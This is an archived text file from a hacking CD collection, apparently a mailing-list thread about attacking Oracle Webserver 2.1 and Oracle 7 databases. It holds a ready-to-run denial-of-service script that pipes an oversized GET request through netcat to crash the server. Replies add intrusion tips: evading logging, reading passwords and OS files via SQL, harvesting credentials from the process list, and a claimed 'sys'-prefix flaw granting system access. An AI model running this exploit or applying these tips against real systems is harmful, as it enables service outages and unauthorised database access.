home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / oracle.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  3.2 KB  |  87 lines
  1.  
  2. A DoS-attack
  3. against a Oracle Webserver 2.1 that serves PL/SQL stored procedures.
  4.  
  5. The server dumps quietly, I haven't found anything in the logs. v2.0
  6. does not seem to exhibit this behaviour (v2.1 is the latest, but many
  7. sites seem to still run v2.0).
  8.  
  9. I'm sorry if this is old news (but I'd appreciate of someone told me
  10. if there is a bugfix somewhere).
  11.  
  12. (PL/SQL is, simply put, a scripting language within the Oracle database)
  13.  
  14. ---
  15. #!/bin/sh
  16. #
  17. # requires Perl and NetCat.
  18. #
  19. # usage:
  20. #       prg <host> <port> <path>
  21. #
  22. # example:
  23. #       # ./prg your.own.domain.com 80 /ows-bin
  24. #
  25. # if you have the PL/SQL stored procedure in /ows-bin/.
  26. #
  27. perl -e 'print "GET $ARGV[0]/fnord?foo=", "a" x 2600, " HTTP/1.0\n\n\n\n";' "$3"|nc $1 $2
  28. ---
  29.  
  30.  
  31. =========================================================================
  32.  
  33.  
  34. The server dumps quietly because the DBA probably hasn't set up the database
  35. correctly.  Unless it is coded in to the system you're developing, I don't think
  36. Oracle will log activities:  i.e. as long as you stay in SQL*NET(an Oracle
  37. shell), no one will know you're around.
  38.  
  39. I worked with Oracle 7 on an HP 9000 before it became web enabled.  I noticed
  40. that everytime something went wrong with the database, it would not show up in
  41. syslog (one of the logs you were thinking of?).  Now, the trick is to  find an
  42. account with the role and permission necessary to be able to run a sql script to
  43. get passwords from the database(or at this point, if you know enough about SQL,
  44. you can pull most text files from the Operating System).  I say this because as
  45. an administrator, I found that all our users chose to have a database password
  46. the same as a machine password.  Guess what?  Oracle has it's passwords in plain
  47. text!
  48.  
  49. As a side note, we discovered that Oracle accounts don't have to have machine
  50. accounts.  Those were used for another aspect of the product we fielded.
  51.  
  52.  
  53. ==========================================================================
  54.  
  55.  
  56. The old Oracle Webserver 1.0.2.0.2 cannot be attacked this way. There seem
  57. to be hard limits of 32 lines HTTP-Request, 1540 chars on the GET/HEAD
  58. statement and 4096 chars on every additional header line.
  59.  
  60.  
  61. ==========================================================================
  62.  
  63.  
  64. >you can pull most text files from the Operating System).  I say this because as
  65. >an administrator, I found that all our users chose to have a database password
  66. >the same as a machine password.  Guess what?  Oracle has it's passwords in plain
  67. >text!
  68.  
  69. Also, the sqlnet client program accepts command-line parameters for username,
  70. and password. If I recall correctly, its something like:
  71.  
  72. sqlnet user/password@INSTANCE_NAME
  73.  
  74. so, in order to gain unauthorized access to the database, all one has to do
  75. is grep through the machines proc list.
  76.  
  77. On another note, Im not sure which version of oracle this is applicable to (I believe
  78. it is 7X), and I dont recall seeing this bug posted before, 
  79. but the database authentication mechanism appears to do a regular expression 
  80. on the account name for /^sys/ before authenticating it, and upon a match, 
  81. assigning system level access to that account.
  82. I.E. - If your account name is sysdood or sysenor, oracle assumes you are infact
  83. system, and logs you in as such.
  84.  
  85.  
  86. ============================================================================
  87.